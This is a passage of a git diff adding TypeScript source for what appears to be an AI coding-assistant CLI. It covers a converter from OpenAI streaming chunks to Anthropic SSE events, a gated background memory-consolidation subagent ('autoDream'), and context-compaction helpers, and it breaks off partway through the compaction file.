+        handleThinking(delta, state)
+        break
+      case 'text':
+        handleText(delta, state)
+        break
+      case 'tool_use':
+        handleToolCalls(delta, state)
+        break
+    }
+  }
+
+  // Handle finish_reason
+  if (choice.finish_reason) {
+    handleFinishReason(choice.finish_reason, chunk, state)
+  }
+}
+
+// ─── Content handlers ──────────────────────────────────────
+
+function handleThinking(delta: DeltaEx, state: StreamState): void {
+  const reasoning = extractReasoning(delta)
+  if (!reasoning) return
+
+  if (state.currentBlockType !== 'thinking' || !state.blockStartSent) {
+    openBlock(state, 'thinking', { type: 'thinking', thinking: '' })
+  }
+
+  if (reasoning.thinking) {
+    emitDelta(state, state.currentBlockIndex, {
+      type: 'thinking_delta', thinking: reasoning.thinking,
+    })
+  }
+  if (reasoning.signature) {
+    emitDelta(state, state.currentBlockIndex, {
+      type: 'signature_delta', signature: reasoning.signature,
+    })
+  }
+}
+
+function handleText(delta: DeltaEx, state: StreamState): void {
+  if (delta.content == null || delta.content === '') return
+
+  if (state.currentBlockType !== 'text' || !state.blockStartSent) {
+    openBlock(state, 'text', { type: 'text', text: '' })
+  }
+
+  emitDelta(state, state.currentBlockIndex, {
+    type: 'text_delta', text: delta.content,
+  })
+}
+
+function handleToolCalls(delta: DeltaEx, state: StreamState): void {
+  if (!delta.tool_calls) return
+
+  for (const tc of delta.tool_calls) {
+    const tcIndex = tc.index
+
+    if (!state.toolBlocks.has(tcIndex)) {
+      state.toolBlocks.set(tcIndex, {
+        id: '', name: '', argsBuffer: '', started: false, anthropicIndex: -1,
+      })
+    }
+
+    const block = state.toolBlocks.get(tcIndex)!
+    if (tc.id) block.id = tc.id
+    if (tc.function?.name) block.name += tc.function.name
+    if (tc.function?.arguments) block.argsBuffer += tc.function.arguments
+
+    // Start tool block once we have id + name
+    if (!block.started && block.id && block.name) {
+      block.started = true
+      block.anthropicIndex = state.nextContentIndex++
+      state.currentBlockType = 'tool_use'
+      state.blockStartSent = true
+      state.blockStopSent = false
+
+      enqueue(state, 'content_block_start', {
+        type: 'content_block_start',
+        index: block.anthropicIndex,
+        content_block: { type: 'tool_use', id: block.id, name: block.name, input: {} },
+      })
+
+      // Flush buffered arguments
+      if (block.argsBuffer) {
+        emitDelta(state, block.anthropicIndex, {
+          type: 'input_json_delta', partial_json: block.argsBuffer,
+        })
+      }
+    } else if (block.started && tc.function?.arguments) {
+      emitDelta(state, block.anthropicIndex, {
+        type: 'input_json_delta', partial_json: tc.function.arguments,
+      })
+    }
+  }
+}
+
+// ─── Finish & usage handling ───────────────────────────────
+
+function handleFinishReason(
+  finishReason: string,
+  chunk: OpenAIChatStreamChunk,
+  state: StreamState,
+): void {
+  if (state.messageDeltaSent) return
+
+  // CRITICAL: close ALL content blocks BEFORE message_delta
+  closeAllOpenBlocks(state)
+
+  const stopReason = mapFinishReason(finishReason)
+  const usage = chunk.usage
+    ? { output_tokens: chunk.usage.completion_tokens || 0 }
+    : { output_tokens: 0 }
+
+  const messageDelta: SseEvent = {
+    event: 'message_delta',
+    data: {
+      type: 'message_delta',
+      delta: { stop_reason: stopReason, stop_sequence: null },
+      usage,
+    },
+  }
+
+  // If usage is available in the same chunk, emit immediately
+  if (chunk.usage) {
+    state.messageDeltaSent = true
+    state.queue.push(messageDelta)
+  } else {
+    // Hold message_delta, wait for usage chunk
+    state.heldMessageDelta = messageDelta
+  }
+}
+
+function mergeUsageIntoHeldDelta(
+  state: StreamState,
+  usage: NonNullable<OpenAIChatStreamChunk['usage']>,
+): void {
+  if (!state.heldMessageDelta) return
+
+  const data = state.heldMessageDelta.data as Record<string, unknown>
+  data.usage = { output_tokens: usage.completion_tokens || 0 }
+  state.messageDeltaSent = true
+  state.queue.push(state.heldMessageDelta)
+  state.heldMessageDelta = null
+}
+
+function finalizeStream(state: StreamState): void {
+  if (state.messageStopSent) return
+  state.messageStopSent = true
+
+  ensureMessageStart(state)
+
+  // Close any remaining open blocks
+  closeAllOpenBlocks(state)
+
+  // Flush held message_delta if still waiting for usage
+  if (state.heldMessageDelta && !state.messageDeltaSent) {
+    state.messageDeltaSent = true
+    state.queue.push(state.heldMessageDelta)
+    state.heldMessageDelta = null
+  }
+
+  // Emit message_delta if never sent (e.g., stream ended without finish_reason)
+  if (!state.messageDeltaSent) {
+    state.messageDeltaSent = true
+    enqueue(state, 'message_delta', {
+      type: 'message_delta',
+      delta: { stop_reason: 'end_turn', stop_sequence: null },
+      usage: { output_tokens: 0 },
+    })
+  }
+
+  enqueue(state, 'message_stop', { type: 'message_stop' })
+}
+
+// ─── Utilities ─────────────────────────────────────────────
+
+function mapFinishReason(reason: string): string {
+  switch (reason) {
+    case 'stop': return 'end_turn'
+    case 'tool_calls': return 'tool_use'
+    case 'length': return 'max_tokens'
+    case 'content_filter': return 'end_turn'
+    default: return 'end_turn'
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/services/autoDream/autoDream.ts b/_all-in-one-upload/cc-haha/src/services/autoDream/autoDream.ts
new file mode 100644
index 0000000..d387d9f
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/services/autoDream/autoDream.ts
@@ -0,0 +1,324 @@
+// biome-ignore-all assist/source/organizeImports: ANT-ONLY import markers must not be reordered
+// Background memory consolidation. Fires the /dream prompt as a forked
+// subagent when time-gate passes AND enough sessions have accumulated.
+//
+// Gate order (cheapest first):
+//   1. Time: hours since lastConsolidatedAt >= minHours (one stat)
+//   2. Sessions: transcript count with mtime > lastConsolidatedAt >= minSessions
+//   3. Lock: no other process mid-consolidation
+//
+// State is closure-scoped inside initAutoDream() rather than module-level
+// (tests call initAutoDream() in beforeEach for a fresh closure).
+
+import type { REPLHookContext } from '../../utils/hooks/postSamplingHooks.js'
+import {
+  createCacheSafeParams,
+  runForkedAgent,
+} from '../../utils/forkedAgent.js'
+import {
+  createUserMessage,
+  createMemorySavedMessage,
+} from '../../utils/messages.js'
+import type { Message } from '../../types/message.js'
+import { logForDebugging } from '../../utils/debug.js'
+import type { ToolUseContext } from '../../Tool.js'
+import { logEvent } from '../analytics/index.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../analytics/growthbook.js'
+import { isAutoMemoryEnabled, getAutoMemPath } from '../../memdir/paths.js'
+import { isAutoDreamEnabled } from './config.js'
+import { getProjectDir } from '../../utils/sessionStorage.js'
+import {
+  getOriginalCwd,
+  getKairosActive,
+  getIsRemoteMode,
+  getSessionId,
+} from '../../bootstrap/state.js'
+import { createAutoMemCanUseTool } from '../extractMemories/extractMemories.js'
+import { buildConsolidationPrompt } from './consolidationPrompt.js'
+import {
+  readLastConsolidatedAt,
+  listSessionsTouchedSince,
+  tryAcquireConsolidationLock,
+  rollbackConsolidationLock,
+} from './consolidationLock.js'
+import {
+  registerDreamTask,
+  addDreamTurn,
+  completeDreamTask,
+  failDreamTask,
+  isDreamTask,
+} from '../../tasks/DreamTask/DreamTask.js'
+import { FILE_EDIT_TOOL_NAME } from '../../tools/FileEditTool/constants.js'
+import { FILE_WRITE_TOOL_NAME } from '../../tools/FileWriteTool/prompt.js'
+
+// Scan throttle: when time-gate passes but session-gate doesn't, the lock
+// mtime doesn't advance, so the time-gate keeps passing every turn.
+const SESSION_SCAN_INTERVAL_MS = 10 * 60 * 1000
+
+type AutoDreamConfig = {
+  minHours: number
+  minSessions: number
+}
+
+const DEFAULTS: AutoDreamConfig = {
+  minHours: 24,
+  minSessions: 5,
+}
+
+/**
+ * Thresholds from tengu_onyx_plover. The enabled gate lives in config.ts
+ * (isAutoDreamEnabled); this returns only the scheduling knobs. Defensive
+ * per-field validation since GB cache can return stale wrong-type values.
+ */
+function getConfig(): AutoDreamConfig {
+  const raw =
+    getFeatureValue_CACHED_MAY_BE_STALE<Partial<AutoDreamConfig> | null>(
+      'tengu_onyx_plover',
+      null,
+    )
+  return {
+    minHours:
+      typeof raw?.minHours === 'number' &&
+      Number.isFinite(raw.minHours) &&
+      raw.minHours > 0
+        ? raw.minHours
+        : DEFAULTS.minHours,
+    minSessions:
+      typeof raw?.minSessions === 'number' &&
+      Number.isFinite(raw.minSessions) &&
+      raw.minSessions > 0
+        ? raw.minSessions
+        : DEFAULTS.minSessions,
+  }
+}
+
+function isGateOpen(): boolean {
+  if (getKairosActive()) return false // KAIROS mode uses disk-skill dream
+  if (getIsRemoteMode()) return false
+  if (!isAutoMemoryEnabled()) return false
+  return isAutoDreamEnabled()
+}
+
+// Ant-build-only test override. Bypasses enabled/time/session gates but NOT
+// the lock (so repeated turns don't pile up dreams) or the memory-dir
+// precondition. Still scans sessions so the prompt's session-hint is populated.
+function isForced(): boolean {
+  return false
+}
+
+type AppendSystemMessageFn = NonNullable<ToolUseContext['appendSystemMessage']>
+
+let runner:
+  | ((
+      context: REPLHookContext,
+      appendSystemMessage?: AppendSystemMessageFn,
+    ) => Promise<void>)
+  | null = null
+
+/**
+ * Call once at startup (from backgroundHousekeeping alongside
+ * initExtractMemories), or per-test in beforeEach for a fresh closure.
+ */
+export function initAutoDream(): void {
+  let lastSessionScanAt = 0
+
+  runner = async function runAutoDream(context, appendSystemMessage) {
+    const cfg = getConfig()
+    const force = isForced()
+    if (!force && !isGateOpen()) return
+
+    // --- Time gate ---
+    let lastAt: number
+    try {
+      lastAt = await readLastConsolidatedAt()
+    } catch (e: unknown) {
+      logForDebugging(
+        `[autoDream] readLastConsolidatedAt failed: ${(e as Error).message}`,
+      )
+      return
+    }
+    const hoursSince = (Date.now() - lastAt) / 3_600_000
+    if (!force && hoursSince < cfg.minHours) return
+
+    // --- Scan throttle ---
+    const sinceScanMs = Date.now() - lastSessionScanAt
+    if (!force && sinceScanMs < SESSION_SCAN_INTERVAL_MS) {
+      logForDebugging(
+        `[autoDream] scan throttle — time-gate passed but last scan was ${Math.round(sinceScanMs / 1000)}s ago`,
+      )
+      return
+    }
+    lastSessionScanAt = Date.now()
+
+    // --- Session gate ---
+    let sessionIds: string[]
+    try {
+      sessionIds = await listSessionsTouchedSince(lastAt)
+    } catch (e: unknown) {
+      logForDebugging(
+        `[autoDream] listSessionsTouchedSince failed: ${(e as Error).message}`,
+      )
+      return
+    }
+    // Exclude the current session (its mtime is always recent).
+    const currentSession = getSessionId()
+    sessionIds = sessionIds.filter(id => id !== currentSession)
+    if (!force && sessionIds.length < cfg.minSessions) {
+      logForDebugging(
+        `[autoDream] skip — ${sessionIds.length} sessions since last consolidation, need ${cfg.minSessions}`,
+      )
+      return
+    }
+
+    // --- Lock ---
+    // Under force, skip acquire entirely — use the existing mtime so
+    // kill's rollback is a no-op (rewinds to where it already is).
+    // The lock file stays untouched; next non-force turn sees it as-is.
+    let priorMtime: number | null
+    if (force) {
+      priorMtime = lastAt
+    } else {
+      try {
+        priorMtime = await tryAcquireConsolidationLock()
+      } catch (e: unknown) {
+        logForDebugging(
+          `[autoDream] lock acquire failed: ${(e as Error).message}`,
+        )
+        return
+      }
+      if (priorMtime === null) return
+    }
+
+    logForDebugging(
+      `[autoDream] firing — ${hoursSince.toFixed(1)}h since last, ${sessionIds.length} sessions to review`,
+    )
+    logEvent('tengu_auto_dream_fired', {
+      hours_since: Math.round(hoursSince),
+      sessions_since: sessionIds.length,
+    })
+
+    const setAppState =
+      context.toolUseContext.setAppStateForTasks ??
+      context.toolUseContext.setAppState
+    const abortController = new AbortController()
+    const taskId = registerDreamTask(setAppState, {
+      sessionsReviewing: sessionIds.length,
+      priorMtime,
+      abortController,
+    })
+
+    try {
+      const memoryRoot = getAutoMemPath()
+      const transcriptDir = getProjectDir(getOriginalCwd())
+      // Tool constraints note goes in `extra`, not the shared prompt body —
+      // manual /dream runs in the main loop with normal permissions and this
+      // would be misleading there.
+      const extra = `
+
+**Tool constraints for this run:** Bash is restricted to read-only commands (\`ls\`, \`find\`, \`grep\`, \`cat\`, \`stat\`, \`wc\`, \`head\`, \`tail\`, and similar). Anything that writes, redirects to a file, or modifies state will be denied. Plan your exploration with this in mind — no need to probe.
+
+Sessions since last consolidation (${sessionIds.length}):
+${sessionIds.map(id => `- ${id}`).join('\n')}`
+      const prompt = buildConsolidationPrompt(memoryRoot, transcriptDir, extra)
+
+      const result = await runForkedAgent({
+        promptMessages: [createUserMessage({ content: prompt })],
+        cacheSafeParams: createCacheSafeParams(context),
+        canUseTool: createAutoMemCanUseTool(memoryRoot),
+        querySource: 'auto_dream',
+        forkLabel: 'auto_dream',
+        skipTranscript: true,
+        overrides: { abortController },
+        onMessage: makeDreamProgressWatcher(taskId, setAppState),
+      })
+
+      completeDreamTask(taskId, setAppState)
+      // Inline completion summary in the main transcript (same surface as
+      // extractMemories's "Saved N memories" message).
+      const dreamState = context.toolUseContext.getAppState().tasks?.[taskId]
+      if (
+        appendSystemMessage &&
+        isDreamTask(dreamState) &&
+        dreamState.filesTouched.length > 0
+      ) {
+        appendSystemMessage({
+          ...createMemorySavedMessage(dreamState.filesTouched),
+          verb: 'Improved',
+        })
+      }
+      logForDebugging(
+        `[autoDream] completed — cache: read=${result.totalUsage.cache_read_input_tokens} created=${result.totalUsage.cache_creation_input_tokens}`,
+      )
+      logEvent('tengu_auto_dream_completed', {
+        cache_read: result.totalUsage.cache_read_input_tokens,
+        cache_created: result.totalUsage.cache_creation_input_tokens,
+        output: result.totalUsage.output_tokens,
+        sessions_reviewed: sessionIds.length,
+      })
+    } catch (e: unknown) {
+      // If the user killed from the bg-tasks dialog, DreamTask.kill already
+      // aborted, rolled back the lock, and set status=killed. Don't overwrite
+      // or double-rollback.
+      if (abortController.signal.aborted) {
+        logForDebugging('[autoDream] aborted by user')
+        return
+      }
+      logForDebugging(`[autoDream] fork failed: ${(e as Error).message}`)
+      logEvent('tengu_auto_dream_failed', {})
+      failDreamTask(taskId, setAppState)
+      // Rewind mtime so time-gate passes again. Scan throttle is the backoff.
+      await rollbackConsolidationLock(priorMtime)
+    }
+  }
+}
+
+/**
+ * Watch the forked agent's messages. For each assistant turn, extracts any
+ * text blocks (the agent's reasoning/summary — what the user wants to see)
+ * and collapses tool_use blocks to a count. Edit/Write file_paths are
+ * collected for phase-flip + the inline completion message.
+ */
+function makeDreamProgressWatcher(
+  taskId: string,
+  setAppState: import('../../Task.js').SetAppState,
+): (msg: Message) => void {
+  return msg => {
+    if (msg.type !== 'assistant') return
+    let text = ''
+    let toolUseCount = 0
+    const touchedPaths: string[] = []
+    for (const block of msg.message.content) {
+      if (block.type === 'text') {
+        text += block.text
+      } else if (block.type === 'tool_use') {
+        toolUseCount++
+        if (
+          block.name === FILE_EDIT_TOOL_NAME ||
+          block.name === FILE_WRITE_TOOL_NAME
+        ) {
+          const input = block.input as { file_path?: unknown }
+          if (typeof input.file_path === 'string') {
+            touchedPaths.push(input.file_path)
+          }
+        }
+      }
+    }
+    addDreamTurn(
+      taskId,
+      { text: text.trim(), toolUseCount },
+      touchedPaths,
+      setAppState,
+    )
+  }
+}
+
+/**
+ * Entry point from stopHooks. No-op until initAutoDream() has been called.
+ * Per-turn cost when enabled: one GB cache read + one stat.
+ */
+export async function executeAutoDream(
+  context: REPLHookContext,
+  appendSystemMessage?: AppendSystemMessageFn,
+): Promise<void> {
+  await runner?.(context, appendSystemMessage)
+}
diff --git a/_all-in-one-upload/cc-haha/src/services/autoDream/config.ts b/_all-in-one-upload/cc-haha/src/services/autoDream/config.ts
new file mode 100644
index 0000000..3ed70ef
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/services/autoDream/config.ts
@@ -0,0 +1,21 @@
+// Leaf config module — intentionally minimal imports so UI components
+// can read the auto-dream enabled state without dragging in the forked
+// agent / task registry / message builder chain that autoDream.ts pulls in.
+
+import { getInitialSettings } from '../../utils/settings/settings.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../analytics/growthbook.js'
+
+/**
+ * Whether background memory consolidation should run. User setting
+ * (autoDreamEnabled in settings.json) overrides the GrowthBook default
+ * when explicitly set; otherwise falls through to tengu_onyx_plover.
+ */
+export function isAutoDreamEnabled(): boolean {
+  const setting = getInitialSettings().autoDreamEnabled
+  if (setting !== undefined) return setting
+  const gb = getFeatureValue_CACHED_MAY_BE_STALE<{ enabled?: unknown } | null>(
+    'tengu_onyx_plover',
+    null,
+  )
+  return gb?.enabled === true
+}
diff --git a/_all-in-one-upload/cc-haha/src/services/compact/apiMicrocompact.ts b/_all-in-one-upload/cc-haha/src/services/compact/apiMicrocompact.ts
new file mode 100644
index 0000000..4a6b84b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/services/compact/apiMicrocompact.ts
@@ -0,0 +1,153 @@
+import { FILE_EDIT_TOOL_NAME } from 'src/tools/FileEditTool/constants.js'
+import { FILE_READ_TOOL_NAME } from 'src/tools/FileReadTool/prompt.js'
+import { FILE_WRITE_TOOL_NAME } from 'src/tools/FileWriteTool/prompt.js'
+import { GLOB_TOOL_NAME } from 'src/tools/GlobTool/prompt.js'
+import { GREP_TOOL_NAME } from 'src/tools/GrepTool/prompt.js'
+import { NOTEBOOK_EDIT_TOOL_NAME } from 'src/tools/NotebookEditTool/constants.js'
+import { WEB_FETCH_TOOL_NAME } from 'src/tools/WebFetchTool/prompt.js'
+import { WEB_SEARCH_TOOL_NAME } from 'src/tools/WebSearchTool/prompt.js'
+import { SHELL_TOOL_NAMES } from 'src/utils/shell/shellToolUtils.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+
+// docs: https://docs.google.com/document/d/1oCT4evvWTh3P6z-kcfNQwWTCxAhkoFndSaNS9Gm40uw/edit?tab=t.0
+
+// Default values for context management strategies
+// Match client-side microcompact token values
+const DEFAULT_MAX_INPUT_TOKENS = 180_000 // Typical warning threshold
+const DEFAULT_TARGET_INPUT_TOKENS = 40_000 // Keep last 40k tokens like client-side
+
+const TOOLS_CLEARABLE_RESULTS = [
+  ...SHELL_TOOL_NAMES,
+  GLOB_TOOL_NAME,
+  GREP_TOOL_NAME,
+  FILE_READ_TOOL_NAME,
+  WEB_FETCH_TOOL_NAME,
+  WEB_SEARCH_TOOL_NAME,
+]
+
+const TOOLS_CLEARABLE_USES = [
+  FILE_EDIT_TOOL_NAME,
+  FILE_WRITE_TOOL_NAME,
+  NOTEBOOK_EDIT_TOOL_NAME,
+]
+
+// Context management strategy types matching API documentation
+export type ContextEditStrategy =
+  | {
+      type: 'clear_tool_uses_20250919'
+      trigger?: {
+        type: 'input_tokens'
+        value: number
+      }
+      keep?: {
+        type: 'tool_uses'
+        value: number
+      }
+      clear_tool_inputs?: boolean | string[]
+      exclude_tools?: string[]
+      clear_at_least?: {
+        type: 'input_tokens'
+        value: number
+      }
+    }
+  | {
+      type: 'clear_thinking_20251015'
+      keep: { type: 'thinking_turns'; value: number } | 'all'
+    }
+
+// Context management configuration wrapper
+export type ContextManagementConfig = {
+  edits: ContextEditStrategy[]
+}
+
+// API-based microcompact implementation that uses native context management
+export function getAPIContextManagement(options?: {
+  hasThinking?: boolean
+  isRedactThinkingActive?: boolean
+  clearAllThinking?: boolean
+}): ContextManagementConfig | undefined {
+  const {
+    hasThinking = false,
+    isRedactThinkingActive = false,
+    clearAllThinking = false,
+  } = options ?? {}
+
+  const strategies: ContextEditStrategy[] = []
+
+  // Preserve thinking blocks in previous assistant turns. Skip when
+  // redact-thinking is active — redacted blocks have no model-visible content.
+  // When clearAllThinking is set (>1h idle = cache miss), keep only the last
+  // thinking turn — the API schema requires value >= 1, and omitting the edit
+  // falls back to the model-policy default (often "all"), which wouldn't clear.
+  if (hasThinking && !isRedactThinkingActive) {
+    strategies.push({
+      type: 'clear_thinking_20251015',
+      keep: clearAllThinking ? { type: 'thinking_turns', value: 1 } : 'all',
+    })
+  }
+
+  // Tool clearing strategies are ant-only
+  if (process.env.USER_TYPE !== 'ant') {
+    return strategies.length > 0 ? { edits: strategies } : undefined
+  }
+
+  const useClearToolResults = isEnvTruthy(
+    process.env.USE_API_CLEAR_TOOL_RESULTS,
+  )
+  const useClearToolUses = isEnvTruthy(process.env.USE_API_CLEAR_TOOL_USES)
+
+  // If no tool clearing strategy is enabled, return early
+  if (!useClearToolResults && !useClearToolUses) {
+    return strategies.length > 0 ? { edits: strategies } : undefined
+  }
+
+  if (useClearToolResults) {
+    const triggerThreshold = process.env.API_MAX_INPUT_TOKENS
+      ? parseInt(process.env.API_MAX_INPUT_TOKENS)
+      : DEFAULT_MAX_INPUT_TOKENS
+    const keepTarget = process.env.API_TARGET_INPUT_TOKENS
+      ? parseInt(process.env.API_TARGET_INPUT_TOKENS)
+      : DEFAULT_TARGET_INPUT_TOKENS
+
+    const strategy: ContextEditStrategy = {
+      type: 'clear_tool_uses_20250919',
+      trigger: {
+        type: 'input_tokens',
+        value: triggerThreshold,
+      },
+      clear_at_least: {
+        type: 'input_tokens',
+        value: triggerThreshold - keepTarget,
+      },
+      clear_tool_inputs: TOOLS_CLEARABLE_RESULTS,
+    }
+
+    strategies.push(strategy)
+  }
+
+  if (useClearToolUses) {
+    const triggerThreshold = process.env.API_MAX_INPUT_TOKENS
+      ? parseInt(process.env.API_MAX_INPUT_TOKENS)
+      : DEFAULT_MAX_INPUT_TOKENS
+    const keepTarget = process.env.API_TARGET_INPUT_TOKENS
+      ? parseInt(process.env.API_TARGET_INPUT_TOKENS)
+      : DEFAULT_TARGET_INPUT_TOKENS
+
+    const strategy: ContextEditStrategy = {
+      type: 'clear_tool_uses_20250919',
+      trigger: {
+        type: 'input_tokens',
+        value: triggerThreshold,
+      },
+      clear_at_least: {
+        type: 'input_tokens',
+        value: triggerThreshold - keepTarget,
+      },
+      exclude_tools: TOOLS_CLEARABLE_USES,
+    }
+
+    strategies.push(strategy)
+  }
+
+  return strategies.length > 0 ? { edits: strategies } : undefined
+}
diff --git a/_all-in-one-upload/cc-haha/src/services/compact/compact.ts b/_all-in-one-upload/cc-haha/src/services/compact/compact.ts
new file mode 100644
index 0000000..f8f86ea
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/services/compact/compact.ts
@@ -0,0 +1,1705 @@
+import { feature } from 'bun:bundle'
+import type { UUID } from 'crypto'
+import uniqBy from 'lodash-es/uniqBy.js'
+
+/* eslint-disable @typescript-eslint/no-require-imports */
+const sessionTranscriptModule = feature('KAIROS')
+  ? (require('../sessionTranscript/sessionTranscript.js') as typeof import('../sessionTranscript/sessionTranscript.js'))
+  : null
+
+import { APIUserAbortError } from '@anthropic-ai/sdk'
+import { markPostCompaction } from 'src/bootstrap/state.js'
+import { getInvokedSkillsForAgent } from '../../bootstrap/state.js'
+import type { QuerySource } from '../../constants/querySource.js'
+import type { CanUseToolFn } from '../../hooks/useCanUseTool.js'
+import type { Tool, ToolUseContext } from '../../Tool.js'
+import type { LocalAgentTaskState } from '../../tasks/LocalAgentTask/LocalAgentTask.js'
+import { FileReadTool } from '../../tools/FileReadTool/FileReadTool.js'
+import {
+  FILE_READ_TOOL_NAME,
+  FILE_UNCHANGED_STUB,
+} from '../../tools/FileReadTool/prompt.js'
+import { ToolSearchTool } from '../../tools/ToolSearchTool/ToolSearchTool.js'
+import type { AgentId } from '../../types/ids.js'
+import type {
+  AssistantMessage,
+  AttachmentMessage,
+  HookResultMessage,
+  Message,
+  PartialCompactDirection,
+  SystemCompactBoundaryMessage,
+  SystemMessage,
+  UserMessage,
+} from '../../types/message.js'
+import {
+  createAttachmentMessage,
+  generateFileAttachment,
+  getAgentListingDeltaAttachment,
+  getDeferredToolsDeltaAttachment,
+  getMcpInstructionsDeltaAttachment,
+} from '../../utils/attachments.js'
+import { getMemoryPath } from '../../utils/config.js'
+import { COMPACT_MAX_OUTPUT_TOKENS } from '../../utils/context.js'
+import {
+  analyzeContext,
+  tokenStatsToStatsigMetrics,
+} from '../../utils/contextAnalysis.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { hasExactErrorMessage } from '../../utils/errors.js'
+import { cacheToObject } from '../../utils/fileStateCache.js'
+import {
+  type CacheSafeParams,
+  runForkedAgent,
+} from '../../utils/forkedAgent.js'
+import {
+  executePostCompactHooks,
+  executePreCompactHooks,
+} from '../../utils/hooks.js'
+import { logError } from '../../utils/log.js'
+import { MEMORY_TYPE_VALUES } from '../../utils/memory/types.js'
+import {
+  createCompactBoundaryMessage,
+  createUserMessage,
+  getAssistantMessageText,
+  getLastAssistantMessage,
+  getMessagesAfterCompactBoundary,
+  isCompactBoundaryMessage,
+  normalizeMessagesForAPI,
+} from '../../utils/messages.js'
+import { expandPath } from '../../utils/path.js'
+import { getPlan, getPlanFilePath } from '../../utils/plans.js'
+import {
+  isSessionActivityTrackingActive,
+  sendSessionActivitySignal,
+} from '../../utils/sessionActivity.js'
+import { processSessionStartHooks } from '../../utils/sessionStart.js'
+import {
+  getTranscriptPath,
+  reAppendSessionMetadata,
+} from '../../utils/sessionStorage.js'
+import { sleep } from '../../utils/sleep.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+/* eslint-enable @typescript-eslint/no-require-imports */
+import { asSystemPrompt } from '../../utils/systemPromptType.js'
+import { getTaskOutputPath } from '../../utils/task/diskOutput.js'
+import {
+  getTokenUsage,
+  tokenCountFromLastAPIResponse,
+  tokenCountWithEstimation,
+} from '../../utils/tokens.js'
+import {
+  extractDiscoveredToolNames,
+  isToolSearchEnabled,
+} from '../../utils/toolSearch.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../analytics/growthbook.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../analytics/index.js'
+import {
+  getMaxOutputTokensForModel,
+  queryModelWithStreaming,
+} from '../api/claude.js'
+import {
+  getPromptTooLongTokenGap,
+  PROMPT_TOO_LONG_ERROR_MESSAGE,
+  startsWithApiErrorPrefix,
+} from '../api/errors.js'
+import { notifyCompaction } from '../api/promptCacheBreakDetection.js'
+import { getRetryDelay } from '../api/withRetry.js'
+import { logPermissionContextForAnts } from '../internalLogging.js'
+import {
+  roughTokenCountEstimation,
+  roughTokenCountEstimationForMessages,
+} from '../tokenEstimation.js'
+import { groupMessagesByApiRound } from './grouping.js'
+import {
+  getCompactPrompt,
+  getCompactUserSummaryMessage,
+  getPartialCompactPrompt,
+} from './prompt.js'
+
+export const POST_COMPACT_MAX_FILES_TO_RESTORE = 5
+export const POST_COMPACT_TOKEN_BUDGET = 50_000
+export const POST_COMPACT_MAX_TOKENS_PER_FILE = 5_000
+// Skills can be large (verify=18.7KB, claude-api=20.1KB). Previously re-injected
+// unbounded on every compact → 5-10K tok/compact. Per-skill truncation beats
+// dropping — instructions at the top of a skill file are usually the critical
+// part. Budget sized to hold ~5 skills at the per-skill cap.
+export const POST_COMPACT_MAX_TOKENS_PER_SKILL = 5_000
+export const POST_COMPACT_SKILLS_TOKEN_BUDGET = 25_000
+const MAX_COMPACT_STREAMING_RETRIES = 2
+
+/**
+ * Strip image blocks from user messages before sending for compaction.
+ * Images are not needed for generating a conversation summary and can
+ * cause the compaction API call itself to hit the prompt-too-long limit,
+ * especially in CCD sessions where users frequently attach images.
+ * Replaces image blocks with a text marker so the summary still notes
+ * that an image was shared.
+ *
+ * Note: Only user messages contain images (either directly attached or within
+ * tool_result content from tools). Assistant messages contain text, tool_use,
+ * and thinking blocks but not images.
+ */
+export function stripImagesFromMessages(messages: Message[]): Message[] {
+  return messages.map(message => {
+    if (message.type !== 'user') {
+      return message
+    }
+
+    const content = message.message.content
+    if (!Array.isArray(content)) {
+      return message
+    }
+
+    let hasMediaBlock = false
+    const newContent = content.flatMap(block => {
+      if (block.type === 'image') {
+        hasMediaBlock = true
+        return [{ type: 'text' as const, text: '[image]' }]
+      }
+      if (block.type === 'document') {
+        hasMediaBlock = true
+        return [{ type: 'text' as const, text: '[document]' }]
+      }
+      // Also strip images/documents nested inside tool_result content arrays
+      if (block.type === 'tool_result' && Array.isArray(block.content)) {
+        let toolHasMedia = false
+        const newToolContent = block.content.map(item => {
+          if (item.type === 'image') {
+            toolHasMedia = true
+            return { type: 'text' as const, text: '[image]' }
+          }
+          if (item.type === 'document') {
+            toolHasMedia = true
+            return { type: 'text' as const, text: '[document]' }
+          }
+          return item
+        })
+        if (toolHasMedia) {
+          hasMediaBlock = true
+          return [{ ...block, content: newToolContent }]
+        }
+      }
+      return [block]
+    })
+
+    if (!hasMediaBlock) {
+      return message
+    }
+
+    return {
+      ...message,
+      message: {
+        ...message.message,
+        content: newContent,
+      },
+    } as typeof message
+  })
+}
+
+/**
+ * Strip attachment types that are re-injected post-compaction anyway.
+ * skill_discovery/skill_listing are re-surfaced by resetSentSkillNames()
+ * + the next turn's discovery signal, so feeding them to the summarizer
+ * wastes tokens and pollutes the summary with stale skill suggestions.
+ *
+ * No-op when EXPERIMENTAL_SKILL_SEARCH is off (the attachment types
+ * don't exist on external builds).
+ */
+export function stripReinjectedAttachments(messages: Message[]): Message[] {
+  if (feature('EXPERIMENTAL_SKILL_SEARCH')) {
+    return messages.filter(
+      m =>
+        !(
+          m.type === 'attachment' &&
+          (m.attachment.type === 'skill_discovery' ||
+            m.attachment.type === 'skill_listing')
+        ),
+    )
+  }
+  return messages
+}
+
+export const ERROR_MESSAGE_NOT_ENOUGH_MESSAGES =
+  'Not enough messages to compact.'
+const MAX_PTL_RETRIES = 3
+const PTL_RETRY_MARKER = '[earlier conversation truncated for compaction retry]'
+
+/**
+ * Drops the oldest API-round groups from messages until tokenGap is covered.
+ * Falls back to dropping 20% of groups when the gap is unparseable (some
+ * Vertex/Bedrock error formats). Returns null when nothing can be dropped
+ * without leaving an empty summarize set.
+ *
+ * This is the last-resort escape hatch for CC-1180 — when the compact request
+ * itself hits prompt-too-long, the user is otherwise stuck. Dropping the
+ * oldest context is lossy but unblocks them. The reactive-compact path
+ * (compactMessages.ts) has the proper retry loop that peels from the tail;
+ * this helper is the dumb-but-safe fallback for the proactive/manual path
